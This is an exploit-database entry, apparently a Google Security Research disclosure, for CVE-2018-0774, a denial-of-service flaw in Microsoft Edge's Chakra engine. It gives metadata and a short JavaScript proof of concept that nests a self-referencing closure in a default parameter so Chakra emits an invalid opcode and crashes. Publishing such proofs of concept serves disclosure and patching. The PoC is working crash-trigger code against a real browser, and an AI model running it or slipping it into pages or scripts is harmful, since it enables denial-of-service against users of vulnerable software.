Microsoft Edge Chakra - Incorrect Scope Handling

Author: Google Security Research
type: dos
platform: windows
port: 0
date_added: 2018-01-17
date_updated: 2018-01-17
verified: 1
codes: CVE-2018-0774
tags: 
aliases: 
screenshot_url: 
application_url: 

// PoC:

(function func(arg = function () {
    print(func);  // SetHasOwnLocalInClosure should be called for the param scope in the PostVisitFunction function.
}()) {
    print(func);
    function func() {

    }
})();

// Chakra fails to distinguish whether the function is referenced in the param scope and ends up to emit an invalid opcode.